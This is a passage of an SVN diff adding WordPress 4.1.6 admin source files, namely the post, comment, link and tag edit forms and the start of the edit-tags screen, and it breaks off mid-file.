+/**
+ * Fires before the permalink field in the edit form.
+ *
+ * @since 4.1.0
+ *
+ * @param WP_Post $post Post object.
+ */
+do_action( 'edit_form_before_permalink', $post );
+?>
+<div class="inside">
+<?php
+$sample_permalink_html = $post_type_object->public ? get_sample_permalink_html($post->ID) : '';
+$shortlink = wp_get_shortlink($post->ID, 'post');
+$permalink = get_permalink( $post->ID );
+if ( !empty( $shortlink ) && $shortlink !== $permalink && $permalink !== home_url('?page_id=' . $post->ID) )
+    $sample_permalink_html .= '<input id="shortlink" type="hidden" value="' . esc_attr($shortlink) . '" /><a href="#" class="button button-small" onclick="prompt(&#39;URL:&#39;, jQuery(\'#shortlink\').val()); return false;">' . __('Get Shortlink') . '</a>';
+
+if ( $post_type_object->public && ! ( 'pending' == get_post_status( $post ) && !current_user_can( $post_type_object->cap->publish_posts ) ) ) {
+	$has_sample_permalink = $sample_permalink_html && 'auto-draft' != $post->post_status;
+?>
+	<div id="edit-slug-box" class="hide-if-no-js">
+	<?php
+		if ( $has_sample_permalink )
+			echo $sample_permalink_html;
+	?>
+	</div>
+<?php
+}
+?>
+</div>
+<?php
+wp_nonce_field( 'samplepermalink', 'samplepermalinknonce', false );
+?>
+</div><!-- /titlediv -->
+<?php
+}
+/**
+ * Fires after the title field.
+ *
+ * @since 3.5.0
+ *
+ * @param WP_Post $post Post object.
+ */
+do_action( 'edit_form_after_title', $post );
+
+if ( post_type_supports($post_type, 'editor') ) {
+?>
+<div id="postdivrich" class="postarea<?php if ( $_wp_editor_expand ) { echo ' wp-editor-expand'; } ?>">
+
+<?php wp_editor( $post->post_content, 'content', array(
+	'_content_editor_dfw' => $_content_editor_dfw,
+	'drag_drop_upload' => true,
+	'tabfocus_elements' => 'content-html,save-post',
+	'editor_height' => 300,
+	'tinymce' => array(
+		'resize' => false,
+		'wp_autoresize_on' => $_wp_editor_expand,
+		'add_unload_trigger' => false,
+	),
+) ); ?>
+<table id="post-status-info"><tbody><tr>
+	<td id="wp-word-count"><?php printf( __( 'Word count: %s' ), '<span class="word-count">0</span>' ); ?></td>
+	<td class="autosave-info">
+	<span class="autosave-message">&nbsp;</span>
+<?php
+	if ( 'auto-draft' != $post->post_status ) {
+		echo '<span id="last-edit">';
+		if ( $last_user = get_userdata( get_post_meta( $post_ID, '_edit_last', true ) ) ) {
+			printf(__('Last edited by %1$s on %2$s at %3$s'), esc_html( $last_user->display_name ), mysql2date(get_option('date_format'), $post->post_modified), mysql2date(get_option('time_format'), $post->post_modified));
+		} else {
+			printf(__('Last edited on %1$s at %2$s'), mysql2date(get_option('date_format'), $post->post_modified), mysql2date(get_option('time_format'), $post->post_modified));
+		}
+		echo '</span>';
+	} ?>
+	</td>
+	<td id="content-resize-handle" class="hide-if-no-js"><br /></td>
+</tr></tbody></table>
+
+</div>
+<?php }
+/**
+ * Fires after the content editor.
+ *
+ * @since 3.5.0
+ *
+ * @param WP_Post $post Post object.
+ */
+do_action( 'edit_form_after_editor', $post );
+?>
+</div><!-- /post-body-content -->
+
+<div id="postbox-container-1" class="postbox-container">
+<?php
+
+if ( 'page' == $post_type ) {
+	/**
+	 * Fires before meta boxes with 'side' context are output for the 'page' post type.
+	 *
+	 * The submitpage box is a meta box with 'side' context, so this hook fires just before it is output.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param WP_Post $post Post object.
+	 */
+	do_action( 'submitpage_box', $post );
+}
+else {
+	/**
+	 * Fires before meta boxes with 'side' context are output for all post types other than 'page'.
+	 *
+	 * The submitpost box is a meta box with 'side' context, so this hook fires just before it is output.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param WP_Post $post Post object.
+	 */
+	do_action( 'submitpost_box', $post );
+}
+
+
+do_meta_boxes($post_type, 'side', $post);
+
+?>
+</div>
+<div id="postbox-container-2" class="postbox-container">
+<?php
+
+do_meta_boxes(null, 'normal', $post);
+
+if ( 'page' == $post_type ) {
+	/**
+	 * Fires after 'normal' context meta boxes have been output for the 'page' post type.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param WP_Post $post Post object.
+	 */
+	do_action( 'edit_page_form', $post );
+}
+else {
+	/**
+	 * Fires after 'normal' context meta boxes have been output for all post types other than 'page'.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param WP_Post $post Post object.
+	 */
+	do_action( 'edit_form_advanced', $post );
+}
+
+
+do_meta_boxes(null, 'advanced', $post);
+
+?>
+</div>
+<?php
+/**
+ * Fires after all meta box sections have been output, before the closing #post-body div.
+ *
+ * @since 2.1.0
+ *
+ * @param WP_Post $post Post object.
+ */
+do_action( 'dbx_post_sidebar', $post );
+
+?>
+</div><!-- /post-body -->
+<br class="clear" />
+</div><!-- /poststuff -->
+</form>
+</div>
+
+<?php
+if ( post_type_supports( $post_type, 'comments' ) )
+	wp_comment_reply();
+?>
+
+<?php if ( ! wp_is_mobile() && post_type_supports( $post_type, 'title' ) && '' === $post->post_title ) : ?>
+<script type="text/javascript">
+try{document.post.title.focus();}catch(e){}
+</script>
+<?php endif; ?>
Index: /tags/4.1.6/src/wp-admin/edit-form-comment.php
===================================================================
--- /tags/4.1.6/src/wp-admin/edit-form-comment.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/edit-form-comment.php	(revision 33402)
@@ -0,0 +1,162 @@
+<?php
+/**
+ * Edit comment form for inclusion in another file.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+// don't load directly
+if ( !defined('ABSPATH') )
+	die('-1');
+?>
+<form name="post" action="comment.php" method="post" id="post">
+<?php wp_nonce_field('update-comment_' . $comment->comment_ID) ?>
+<div class="wrap">
+<h2><?php _e('Edit Comment'); ?></h2>
+
+<div id="poststuff">
+<input type="hidden" name="user_ID" value="<?php echo (int) $user_ID; ?>" />
+<input type="hidden" name="action" value="editedcomment" />
+<input type="hidden" name="comment_ID" value="<?php echo esc_attr( $comment->comment_ID ); ?>" />
+<input type="hidden" name="comment_post_ID" value="<?php echo esc_attr( $comment->comment_post_ID ); ?>" />
+
+<div id="post-body" class="metabox-holder columns-2">
+<div id="post-body-content" class="edit-form-section">
+<div id="namediv" class="stuffbox">
+<h3><label for="name"><?php _e( 'Author' ) ?></label></h3>
+<div class="inside">
+<table class="form-table editcomment">
+<tbody>
+<tr>
+	<td class="first"><?php _e( 'Name:' ); ?></td>
+	<td><input type="text" name="newcomment_author" size="30" value="<?php echo esc_attr( $comment->comment_author ); ?>" id="name" /></td>
+</tr>
+<tr>
+	<td class="first">
+	<?php
+		if ( $comment->comment_author_email ) {
+			printf( __( 'E-mail (%s):' ), get_comment_author_email_link( __( 'send e-mail' ), '', '' ) );
+		} else {
+			_e( 'E-mail:' );
+		}
+?></td>
+	<td><input type="text" name="newcomment_author_email" size="30" value="<?php echo $comment->comment_author_email; ?>" id="email" /></td>
+</tr>
+<tr>
+	<td class="first">
+	<?php
+		if ( ! empty( $comment->comment_author_url ) && 'http://' != $comment->comment_author_url ) {
+			$link = '<a href="' . $comment->comment_author_url . '" rel="external nofollow" target="_blank">' . __('visit site') . '</a>';
+			/** This filter is documented in wp-includes/comment-template.php */
+			printf( __( 'URL (%s):' ), apply_filters( 'get_comment_author_link', $link ) );
+		} else {
+			_e( 'URL:' );
+		} ?></td>
+	<td><input type="text" id="newcomment_author_url" name="newcomment_author_url" size="30" class="code" value="<?php echo esc_attr($comment->comment_author_url); ?>" /></td>
+</tr>
+</tbody>
+</table>
+<br />
+</div>
+</div>
+
+<div id="postdiv" class="postarea">
+<?php
+	$quicktags_settings = array( 'buttons' => 'strong,em,link,block,del,ins,img,ul,ol,li,code,close' );
+	wp_editor( $comment->comment_content, 'content', array( 'media_buttons' => false, 'tinymce' => false, 'quicktags' => $quicktags_settings ) );
+	wp_nonce_field( 'closedpostboxes', 'closedpostboxesnonce', false ); ?>
+</div>
+</div><!-- /post-body-content -->
+
+<div id="postbox-container-1" class="postbox-container">
+<div id="submitdiv" class="stuffbox" >
+<h3><span class="hndle"><?php _e('Status') ?></span></h3>
+<div class="inside">
+<div class="submitbox" id="submitcomment">
+<div id="minor-publishing">
+
+<div id="minor-publishing-actions">
+<div id="preview-action">
+<a class="preview button" href="<?php echo get_comment_link(); ?>" target="_blank"><?php _e('View Comment'); ?></a>
+</div>
+<div class="clear"></div>
+</div>
+
+<div id="misc-publishing-actions">
+
+<div class="misc-pub-section misc-pub-comment-status" id="comment-status-radio">
+<label class="approved"><input type="radio"<?php checked( $comment->comment_approved, '1' ); ?> name="comment_status" value="1" /><?php /* translators: comment type radio button */ _ex('Approved', 'adjective') ?></label><br />
+<label class="waiting"><input type="radio"<?php checked( $comment->comment_approved, '0' ); ?> name="comment_status" value="0" /><?php /* translators: comment type radio button */ _ex('Pending', 'adjective') ?></label><br />
+<label class="spam"><input type="radio"<?php checked( $comment->comment_approved, 'spam' ); ?> name="comment_status" value="spam" /><?php /* translators: comment type radio button */ _ex('Spam', 'adjective'); ?></label>
+</div>
+
+<?php if ( $ip = get_comment_author_IP() ) : ?>
+<div class="misc-pub-section misc-pub-comment-author-ip">
+	<?php _e( 'IP address:' ); ?> <strong><a href="<?php echo esc_url( sprintf( 'http://whois.arin.net/rest/ip/%s', $ip ) ); ?>"><?php echo esc_html( $ip ); ?></a></strong>
+</div>
+<?php endif; ?>
+
+<div class="misc-pub-section curtime misc-pub-curtime">
+<?php
+/* translators: Publish box date format, see http://php.net/date */
+$datef = __( 'M j, Y @ G:i' );
+$stamp = __('Submitted on: <b>%1$s</b>');
+$date = date_i18n( $datef, strtotime( $comment->comment_date ) );
+?>
+<span id="timestamp"><?php printf($stamp, $date); ?></span>&nbsp;<a href="#edit_timestamp" class="edit-timestamp hide-if-no-js"><?php _e('Edit') ?></a>
+<div id='timestampdiv' class='hide-if-js'><?php touch_time(('editcomment' == $action), 0); ?></div>
+</div>
+</div> <!-- misc actions -->
+<div class="clear"></div>
+</div>
+
+<div id="major-publishing-actions">
+<div id="delete-action">
+<?php echo "<a class='submitdelete deletion' href='" . wp_nonce_url("comment.php?action=" . ( !EMPTY_TRASH_DAYS ? 'deletecomment' : 'trashcomment' ) . "&amp;c=$comment->comment_ID&amp;_wp_original_http_referer=" . urlencode(wp_get_referer()), 'delete-comment_' . $comment->comment_ID) . "'>" . ( !EMPTY_TRASH_DAYS ? __('Delete Permanently') : __('Move to Trash') ) . "</a>\n"; ?>
+</div>
+<div id="publishing-action">
+<?php submit_button( __( 'Update' ), 'primary', 'save', false ); ?>
+</div>
+<div class="clear"></div>
+</div>
+</div>
+</div>
+</div><!-- /submitdiv -->
+</div>
+
+<div id="postbox-container-2" class="postbox-container">
+<?php
+/** This action is documented in wp-admin/edit-form-advanced.php */
+do_action( 'add_meta_boxes', 'comment', $comment );
+
+/**
+ * Fires when comment-specific meta boxes are added.
+ *
+ * @since 3.0.0
+ *
+ * @param object $comment Comment object.
+ */
+do_action( 'add_meta_boxes_comment', $comment );
+
+do_meta_boxes(null, 'normal', $comment);
+
+?>
+</div>
+
+<input type="hidden" name="c" value="<?php echo esc_attr($comment->comment_ID) ?>" />
+<input type="hidden" name="p" value="<?php echo esc_attr($comment->comment_post_ID) ?>" />
+<input name="referredby" type="hidden" id="referredby" value="<?php echo esc_url( wp_get_referer() ); ?>" />
+<?php wp_original_referer_field(true, 'previous'); ?>
+<input type="hidden" name="noredir" value="1" />
+
+</div><!-- /post-body -->
+</div>
+</div>
+</form>
+
+<?php if ( ! wp_is_mobile() ) : ?>
+<script type="text/javascript">
+try{document.post.name.focus();}catch(e){}
+</script>
+<?php endif;
Index: /tags/4.1.6/src/wp-admin/edit-link-form.php
===================================================================
--- /tags/4.1.6/src/wp-admin/edit-link-form.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/edit-link-form.php	(revision 33402)
@@ -0,0 +1,150 @@
+<?php
+/**
+ * Edit links form for inclusion in administration panels.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+// don't load directly
+if ( !defined('ABSPATH') )
+	die('-1');
+
+if ( ! empty($link_id) ) {
+	$heading = sprintf( __( '<a href="%s">Links</a> / Edit Link' ), 'link-manager.php' );
+	$submit_text = __('Update Link');
+	$form_name = 'editlink';
+	$nonce_action = 'update-bookmark_' . $link_id;
+} else {
+	$heading = sprintf( __( '<a href="%s">Links</a> / Add New Link' ), 'link-manager.php' );
+	$submit_text = __('Add Link');
+	$form_name = 'addlink';
+	$nonce_action = 'add-bookmark';
+}
+
+require_once( ABSPATH . 'wp-admin/includes/meta-boxes.php' );
+
+add_meta_box('linksubmitdiv', __('Save'), 'link_submit_meta_box', null, 'side', 'core');
+add_meta_box('linkcategorydiv', __('Categories'), 'link_categories_meta_box', null, 'normal', 'core');
+add_meta_box('linktargetdiv', __('Target'), 'link_target_meta_box', null, 'normal', 'core');
+add_meta_box('linkxfndiv', __('Link Relationship (XFN)'), 'link_xfn_meta_box', null, 'normal', 'core');
+add_meta_box('linkadvanceddiv', __('Advanced'), 'link_advanced_meta_box', null, 'normal', 'core');
+
+/** This action is documented in wp-admin/edit-form-advanced.php */
+do_action( 'add_meta_boxes', 'link', $link );
+
+/**
+ * Fires when link-specific meta boxes are added.
+ *
+ * @since 3.0.0
+ *
+ * @param object $link Link object.
+ */
+do_action( 'add_meta_boxes_link', $link );
+
+/** This action is documented in wp-admin/edit-form-advanced.php */
+do_action( 'do_meta_boxes', 'link', 'normal', $link );
+/** This action is documented in wp-admin/edit-form-advanced.php */
+do_action( 'do_meta_boxes', 'link', 'advanced', $link );
+/** This action is documented in wp-admin/edit-form-advanced.php */
+do_action( 'do_meta_boxes', 'link', 'side', $link );
+
+add_screen_option('layout_columns', array('max' => 2, 'default' => 2) );
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __('Overview'),
+	'content' =>
+	'<p>' . __( 'You can add or edit links on this screen by entering information in each of the boxes. Only the link&#8217;s web address and name (the text you want to display on your site as the link) are required fields.' ) . '</p>' .
+	'<p>' . __( 'The boxes for link name, web address, and description have fixed positions, while the others may be repositioned using drag and drop. You can also hide boxes you don&#8217;t use in the Screen Options tab, or minimize boxes by clicking on the title bar of the box.' ) . '</p>' .
+	'<p>' . __( 'XFN stands for <a href="http://gmpg.org/xfn/" target="_blank">XHTML Friends Network</a>, which is optional. WordPress allows the generation of XFN attributes to show how you are related to the authors/owners of the site to which you are linking.' ) . '</p>'
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
+	'<p>' . __( '<a href="http://codex.wordpress.org/Links_Add_New_Screen" target="_blank">Documentation on Creating Links</a>' ) . '</p>' .
+	'<p>' . __( '<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>' ) . '</p>'
+);
+
+require_once( ABSPATH . 'wp-admin/admin-header.php' );
+?>
+
+<div class="wrap">
+<h2><?php echo esc_html( $title ); ?>  <a href="link-add.php" class="add-new-h2"><?php echo esc_html_x('Add New', 'link'); ?></a></h2>
+
+<?php if ( isset( $_GET['added'] ) ) : ?>
+<div id="message" class="updated"><p><?php _e('Link added.'); ?></p></div>
+<?php endif; ?>
+
+<form name="<?php echo esc_attr( $form_name ); ?>" id="<?php echo esc_attr( $form_name ); ?>" method="post" action="link.php">
+<?php
+if ( ! empty( $link_added ) ) {
+	echo $link_added;
+}
+
+wp_nonce_field( $nonce_action );
+wp_nonce_field( 'closedpostboxes', 'closedpostboxesnonce', false );
+wp_nonce_field( 'meta-box-order', 'meta-box-order-nonce', false ); ?>
+
+<div id="poststuff">
+
+<div id="post-body" class="metabox-holder columns-<?php echo 1 == get_current_screen()->get_columns() ? '1' : '2'; ?>">
+<div id="post-body-content">
+<div id="namediv" class="stuffbox">
+<h3><label for="link_name"><?php _ex('Name', 'link name') ?></label></h3>
+<div class="inside">
+	<input type="text" name="link_name" size="30" maxlength="255" value="<?php echo esc_attr($link->link_name); ?>" id="link_name" />
+	<p><?php _e('Example: Nifty blogging software'); ?></p>
+</div>
+</div>
+
+<div id="addressdiv" class="stuffbox">
+<h3><label for="link_url"><?php _e('Web Address') ?></label></h3>
+<div class="inside">
+	<input type="text" name="link_url" size="30" maxlength="255" class="code" value="<?php echo esc_attr($link->link_url); ?>" id="link_url" />
+	<p><?php _e('Example: <code>http://wordpress.org/</code> &#8212; don&#8217;t forget the <code>http://</code>'); ?></p>
+</div>
+</div>
+
+<div id="descriptiondiv" class="stuffbox">
+<h3><label for="link_description"><?php _e('Description') ?></label></h3>
+<div class="inside">
+	<input type="text" name="link_description" size="30" maxlength="255" value="<?php echo isset($link->link_description) ? esc_attr($link->link_description) : ''; ?>" id="link_description" />
+	<p><?php _e('This will be shown when someone hovers over the link in the blogroll, or optionally below the link.'); ?></p>
+</div>
+</div>
+</div><!-- /post-body-content -->
+
+<div id="postbox-container-1" class="postbox-container">
+<?php
+
+/** This action is documented in wp-admin/includes/meta-boxes.php */
+do_action( 'submitlink_box' );
+$side_meta_boxes = do_meta_boxes( 'link', 'side', $link );
+
+?>
+</div>
+<div id="postbox-container-2" class="postbox-container">
+<?php
+
+do_meta_boxes(null, 'normal', $link);
+
+do_meta_boxes(null, 'advanced', $link);
+
+?>
+</div>
+<?php
+
+if ( $link_id ) : ?>
+<input type="hidden" name="action" value="save" />
+<input type="hidden" name="link_id" value="<?php echo (int) $link_id; ?>" />
+<input type="hidden" name="cat_id" value="<?php echo (int) $cat_id ?>" />
+<?php else: ?>
+<input type="hidden" name="action" value="add" />
+<?php endif; ?>
+
+</div>
+</div>
+
+</form>
+</div>
Index: /tags/4.1.6/src/wp-admin/edit-tag-form.php
===================================================================
--- /tags/4.1.6/src/wp-admin/edit-tag-form.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/edit-tag-form.php	(revision 33402)
@@ -0,0 +1,208 @@
+<?php
+/**
+ * Edit tag form for inclusion in administration panels.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+// don't load directly
+if ( !defined('ABSPATH') )
+	die('-1');
+
+if ( empty($tag_ID) ) { ?>
+	<div id="message" class="updated"><p><strong><?php _e( 'You did not select an item for editing.' ); ?></strong></p></div>
+<?php
+	return;
+}
+
+// Back compat hooks
+if ( 'category' == $taxonomy ) {
+	/**
+ 	 * Fires before the Edit Category form.
+	 *
+	 * @since 2.1.0
+	 * @deprecated 3.0.0 Use {$taxonomy}_pre_edit_form instead.
+	 *
+	 * @param object $tag Current category term object.
+	 */
+	do_action( 'edit_category_form_pre', $tag );
+} elseif ( 'link_category' == $taxonomy ) {
+	/**
+	 * Fires before the Edit Link Category form.
+	 *
+	 * @since 2.3.0
+	 * @deprecated 3.0.0 Use {$taxonomy}_pre_edit_form instead.
+	 *
+	 * @param object $tag Current link category term object.
+	 */
+	do_action( 'edit_link_category_form_pre', $tag );
+} else {
+	/**
+	 * Fires before the Edit Tag form.
+	 *
+	 * @since 2.5.0
+	 * @deprecated 3.0.0 Use {$taxonomy}_pre_edit_form instead.
+	 *
+	 * @param object $tag Current tag term object.
+	 */
+	do_action( 'edit_tag_form_pre', $tag );
+}
+/**
+ * Fires before the Edit Term form for all taxonomies.
+ *
+ * The dynamic portion of the hook name, `$taxonomy`, refers to
+ * the taxonomy slug.
+ *
+ * @since 3.0.0
+ *
+ * @param object $tag      Current taxonomy term object.
+ * @param string $taxonomy Current $taxonomy slug.
+ */
+do_action( "{$taxonomy}_pre_edit_form", $tag, $taxonomy ); ?>
+
+<div class="wrap">
+<h2><?php echo $tax->labels->edit_item; ?></h2>
+<div id="ajax-response"></div>
+<form name="edittag" id="edittag" method="post" action="edit-tags.php" class="validate"
+<?php
+/**
+ * Fires inside the Edit Term form tag.
+ *
+ * The dynamic portion of the hook name, `$taxonomy`, refers to
+ * the taxonomy slug.
+ *
+ * @since 3.7.0
+ */
+do_action( "{$taxonomy}_term_edit_form_tag" );
+?>>
+<input type="hidden" name="action" value="editedtag" />
+<input type="hidden" name="tag_ID" value="<?php echo esc_attr($tag->term_id) ?>" />
+<input type="hidden" name="taxonomy" value="<?php echo esc_attr($taxonomy) ?>" />
+<?php wp_original_referer_field(true, 'previous'); wp_nonce_field('update-tag_' . $tag_ID); ?>
+	<table class="form-table">
+		<tr class="form-field form-required term-name-wrap">
+			<th scope="row"><label for="name"><?php _ex( 'Name', 'term name' ); ?></label></th>
+			<td><input name="name" id="name" type="text" value="<?php if ( isset( $tag->name ) ) echo esc_attr($tag->name); ?>" size="40" aria-required="true" />
+			<p class="description"><?php _e('The name is how it appears on your site.'); ?></p></td>
+		</tr>
+<?php if ( !global_terms_enabled() ) { ?>
+		<tr class="form-field term-slug-wrap">
+			<th scope="row"><label for="slug"><?php _e( 'Slug' ); ?></label></th>
+			<?php
+			/**
+			 * Filter the editable term slug.
+			 *
+			 * @since 2.6.0
+			 *
+			 * @param string $slug The current term slug.
+			 */
+			?>
+			<td><input name="slug" id="slug" type="text" value="<?php if ( isset( $tag->slug ) ) echo esc_attr( apply_filters( 'editable_slug', $tag->slug ) ); ?>" size="40" />
+			<p class="description"><?php _e('The &#8220;slug&#8221; is the URL-friendly version of the name. It is usually all lowercase and contains only letters, numbers, and hyphens.'); ?></p></td>
+		</tr>
+<?php } ?>
+<?php if ( is_taxonomy_hierarchical($taxonomy) ) : ?>
+		<tr class="form-field term-parent-wrap">
+			<th scope="row"><label for="parent"><?php _ex( 'Parent', 'term parent' ); ?></label></th>
+			<td>
+				<?php wp_dropdown_categories(array('hide_empty' => 0, 'hide_if_empty' => false, 'name' => 'parent', 'orderby' => 'name', 'taxonomy' => $taxonomy, 'selected' => $tag->parent, 'exclude_tree' => $tag->term_id, 'hierarchical' => true, 'show_option_none' => __('None'))); ?>
+				<?php if ( 'category' == $taxonomy ) : ?>
+				<p class="description"><?php _e('Categories, unlike tags, can have a hierarchy. You might have a Jazz category, and under that have children categories for Bebop and Big Band. Totally optional.'); ?></p>
+				<?php endif; ?>
+			</td>
+		</tr>
+<?php endif; // is_taxonomy_hierarchical() ?>
+		<tr class="form-field term-description-wrap">
+			<th scope="row"><label for="description"><?php _e( 'Description' ); ?></label></th>
+			<td><textarea name="description" id="description" rows="5" cols="50" class="large-text"><?php echo $tag->description; // textarea_escaped ?></textarea>
+			<p class="description"><?php _e('The description is not prominent by default; however, some themes may show it.'); ?></p></td>
+		</tr>
+		<?php
+		// Back compat hooks
+		if ( 'category' == $taxonomy ) {
+			/**
+			 * Fires after the Edit Category form fields are displayed.
+			 *
+			 * @since 2.9.0
+			 * @deprecated 3.0.0 Use {$taxonomy}_edit_form_fields instead.
+			 *
+			 * @param object $tag Current category term object.
+			 */
+			do_action( 'edit_category_form_fields', $tag );
+		} elseif ( 'link_category' == $taxonomy ) {
+			/**
+			 * Fires after the Edit Link Category form fields are displayed.
+			 *
+			 * @since 2.9.0
+			 * @deprecated 3.0.0 Use {$taxonomy}_edit_form_fields instead.
+			 *
+			 * @param object $tag Current link category term object.
+			 */
+			do_action( 'edit_link_category_form_fields', $tag );
+		} else {
+			/**
+			 * Fires after the Edit Tag form fields are displayed.
+			 *
+			 * @since 2.9.0
+			 * @deprecated 3.0.0 Use {$taxonomy}_edit_form_fields instead.
+			 *
+			 * @param object $tag Current tag term object.
+			 */
+			do_action( 'edit_tag_form_fields', $tag );
+		}
+		/**
+		 * Fires after the Edit Term form fields are displayed.
+		 *
+		 * The dynamic portion of the hook name, `$taxonomy`, refers to
+		 * the taxonomy slug.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param object $tag      Current taxonomy term object.
+		 * @param string $taxonomy Current taxonomy slug.
+		 */
+		do_action( "{$taxonomy}_edit_form_fields", $tag, $taxonomy );
+		?>
+	</table>
+<?php
+// Back compat hooks
+if ( 'category' == $taxonomy ) {
+	/** This action is documented in wp-admin/edit-tags.php */
+	do_action( 'edit_category_form', $tag );
+} elseif ( 'link_category' == $taxonomy ) {
+	/** This action is documented in wp-admin/edit-tags.php */
+	do_action( 'edit_link_category_form', $tag );
+} else {
+	/**
+	 * Fires at the end of the Edit Term form.
+	 *
+	 * @since 2.5.0
+	 * @deprecated 3.0.0 Use {$taxonomy}_edit_form instead.
+	 *
+	 * @param object $tag Current taxonomy term object.
+	 */
+	do_action( 'edit_tag_form', $tag );
+}
+/**
+ * Fires at the end of the Edit Term form for all taxonomies.
+ *
+ * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug.
+ *
+ * @since 3.0.0
+ *
+ * @param object $tag      Current taxonomy term object.
+ * @param string $taxonomy Current taxonomy slug.
+ */
+do_action( "{$taxonomy}_edit_form", $tag, $taxonomy );
+
+submit_button( __('Update') );
+?>
+</form>
+</div>
+
+<?php if ( ! wp_is_mobile() ) : ?>
+<script type="text/javascript">
+try{document.forms.edittag.name.focus();}catch(e){}
+</script>
+<?php endif;
Index: /tags/4.1.6/src/wp-admin/edit-tags.php
===================================================================
--- /tags/4.1.6/src/wp-admin/edit-tags.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/edit-tags.php	(revision 33402)
@@ -0,0 +1,596 @@
+<?php
+/**
+ * Edit Tags Administration Screen.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! $taxnow )
+	wp_die( __( 'Invalid taxonomy' ) );
+
+$tax = get_taxonomy( $taxnow );
+
+if ( ! $tax )
+	wp_die( __( 'Invalid taxonomy' ) );
+
+if ( ! current_user_can( $tax->cap->manage_terms ) )
+	wp_die( __( 'Cheatin&#8217; uh?' ), 403 );
+
+$wp_list_table = _get_list_table('WP_Terms_List_Table');
+$pagenum = $wp_list_table->get_pagenum();
+
+$title = $tax->labels->name;
+
+if ( 'post' != $post_type ) {
+	$parent_file = ( 'attachment' == $post_type ) ? 'upload.php' : "edit.php?post_type=$post_type";
+	$submenu_file = "edit-tags.php?taxonomy=$taxonomy&amp;post_type=$post_type";
+} else if ( 'link_category' == $tax->name ) {
+	$parent_file = 'link-manager.php';
+	$submenu_file = 'edit-tags.php?taxonomy=link_category';
+} else {
+	$parent_file = 'edit.php';
+	$submenu_file = "edit-tags.php?taxonomy=$taxonomy";
+}
+
+add_screen_option( 'per_page', array( 'label' => $title, 'default' => 20, 'option' => 'edit_' . $tax->name . '_per_page' ) );
+
+$location = false;
+
+switch ( $wp_list_table->current_action() ) {
+
+case 'add-tag':
+
+	check_admin_referer( 'add-tag', '_wpnonce_add-tag' );
+
+	if ( !current_user_can( $tax->cap->edit_terms ) )
+		wp_die( __( 'Cheatin&#8217; uh?' ), 403 );
+
+	$ret = wp_insert_term( $_POST['tag-name'], $taxonomy, $_POST );
+	$location = 'edit-tags.php?taxonomy=' . $taxonomy;
+	if ( 'post' != $post_type )
+		$location .= '&post_type=' . $post_type;
+
+	if ( $referer = wp_get_original_referer() ) {
+		if ( false !== strpos( $referer, 'edit-tags.php' ) )
+			$location = $referer;
+	}
+
+	if ( $ret && !is_wp_error( $ret ) )
+		$location = add_query_arg( 'message', 1, $location );
+	else
+		$location = add_query_arg( 'message', 4, $location );
+
+	break;
+
+case 'delete':
+	$location = 'edit-tags.php?taxonomy=' . $taxonomy;
+	if ( 'post' != $post_type )
+		$location .= '&post_type=' . $post_type;
+	if ( $referer = wp_get_referer() ) {
+		if ( false !== strpos( $referer, 'edit-tags.php' ) )
+			$location = $referer;
+	}
+
+	if ( ! isset( $_REQUEST['tag_ID'] ) ) {
+		break;
+	}
+
+	$tag_ID = (int) $_REQUEST['tag_ID'];
+	check_admin_referer( 'delete-tag_' . $tag_ID );
+
+	if ( !current_user_can( $tax->cap->delete_terms ) )
+		wp_die( __( 'Cheatin&#8217; uh?' ), 403 );
+
+	wp_delete_term( $tag_ID, $taxonomy );
+
+	$location = add_query_arg( 'message', 2, $location );
+
+	break;
+
+case 'bulk-delete':
+	check_admin_referer( 'bulk-tags' );
+
+	if ( !current_user_can( $tax->cap->delete_terms ) )
+		wp_die( __( 'Cheatin&#8217; uh?' ), 403 );
+
+	$tags = (array) $_REQUEST['delete_tags'];
+	foreach ( $tags as $tag_ID ) {
+		wp_delete_term( $tag_ID, $taxonomy );
+	}
+
+	$location = 'edit-tags.php?taxonomy=' . $taxonomy;
+	if ( 'post' != $post_type )
+		$location .= '&post_type=' . $post_type;
+	if ( $referer = wp_get_referer() ) {
+		if ( false !== strpos( $referer, 'edit-tags.php' ) )
+			$location = $referer;
+	}
+
+	$location = add_query_arg( 'message', 6, $location );
+
+	break;
+
+case 'edit':
+	$title = $tax->labels->edit_item;
+
+	$tag_ID = (int) $_REQUEST['tag_ID'];
+
+	$tag = get_term( $tag_ID, $taxonomy, OBJECT, 'edit' );
+	if ( ! $tag )
+		wp_die( __( 'You attempted to edit an item that doesn&#8217;t exist. Perhaps it was deleted?' ) );
+	require_once( ABSPATH . 'wp-admin/admin-header.php' );
+	include( ABSPATH . 'wp-admin/edit-tag-form.php' );
+	include( ABSPATH . 'wp-admin/admin-footer.php' );
+
+	exit;
+
+case 'editedtag':
+	$tag_ID = (int) $_POST['tag_ID'];
+	check_admin_referer( 'update-tag_' . $tag_ID );
+
+	if ( !current_user_can( $tax->cap->edit_terms ) )
+		wp_die( __( 'Cheatin&#8217; uh?' ), 403 );
+
+	$tag = get_term( $tag_ID, $taxonomy );
+	if ( ! $tag )
+		wp_die( __( 'You attempted to edit an item that doesn&#8217;t exist. Perhaps it was deleted?' ) );
+
+	$ret = wp_update_term( $tag_ID, $taxonomy, $_POST );
+
+	$location = 'edit-tags.php?taxonomy=' . $taxonomy;
+	if ( 'post' != $post_type )
+		$location .= '&post_type=' . $post_type;
+
+	if ( $referer = wp_get_original_referer() ) {
+		if ( false !== strpos( $referer, 'edit-tags.php' ) )
+			$location = $referer;
+	}
+
+	if ( $ret && !is_wp_error( $ret ) )
